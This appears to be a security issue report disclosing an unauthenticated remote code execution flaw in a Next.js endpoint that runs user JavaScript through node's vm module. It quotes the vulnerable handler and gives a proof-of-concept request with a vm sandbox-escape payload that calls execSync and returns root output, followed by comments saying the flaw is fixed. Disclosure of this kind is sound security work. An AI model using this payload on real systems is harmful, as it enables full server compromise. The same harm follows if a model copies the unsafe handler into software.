[BUG] RCE (unauthenticated)
RCE (unauthenticated)
Summary
The RCE vulnerability was discovered on /api/function/execute in latest version of SIM. The functionality has user-controllable parameter without any blacklist/whitelist filtering or special character escaping security measures, allowing attackers to execute arbitrary javascript code.
Details
- apps\sim\app\api\function\execute\route.ts
export async function POST(req: NextRequest) {
const requestId = crypto.randomUUID().slice(0, 8)
const startTime = Date.now()
try {
const body = await req.json()
const { code, params = {}, timeout = 5000 } = body
logger.info(`[${requestId}] Function execution request`, {
hasCode: !!code,
paramsCount: Object.keys(params).length,
timeout
})
const context = createContext({
params: params,
fetch: globalThis.fetch || require('node-fetch').default,
console: {
log: (...args: any[]) => {
}
}
})
const script = new Script(`
(async () => {
try {
${code}
} catch (error) {
console.error(error);
throw error;
}
})()
`, { filename: 'user-function.js' })
// sink
const result = await script.runInContext(context, {
timeout,
displayErrors: true
})
return NextResponse.json({
success: true,
output: {
result,
executionTime: Date.now() - startTime
}
})
} catch (error) {
return NextResponse.json({ success: false, error: error.message }, { status: 500 })
}
}
POC
- Request
POST /api/function/execute HTTP/1.1
Host: localhost:3000
Content-Length: 197
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/workspace/b5ee1640-82f8-4559-a253-6152dc9e1334/w/c0a7c749-a96a-42b7-a62f-5c2fa65cc6af
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close
{
"code": "const proc = this.constructor.constructor('return process')(); const { execSync } = proc.mainModule.require('child_process'); return execSync('id').toString();",
"timeout": 5000
}
- Response
{"success":true,"output":{"result":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n","stdout":"","executionTime":10}}
From looking at the code I believe this has been handled. At least, more logic has been added that explicitly whitelists and adds protection to that already offered by Docker sandboxxing. Vulnerabilities may still exist and I am going to test more, but I wanted to flag that this is still open despite a much more robust security logic being in place.
resolved, as mentioned in the comment above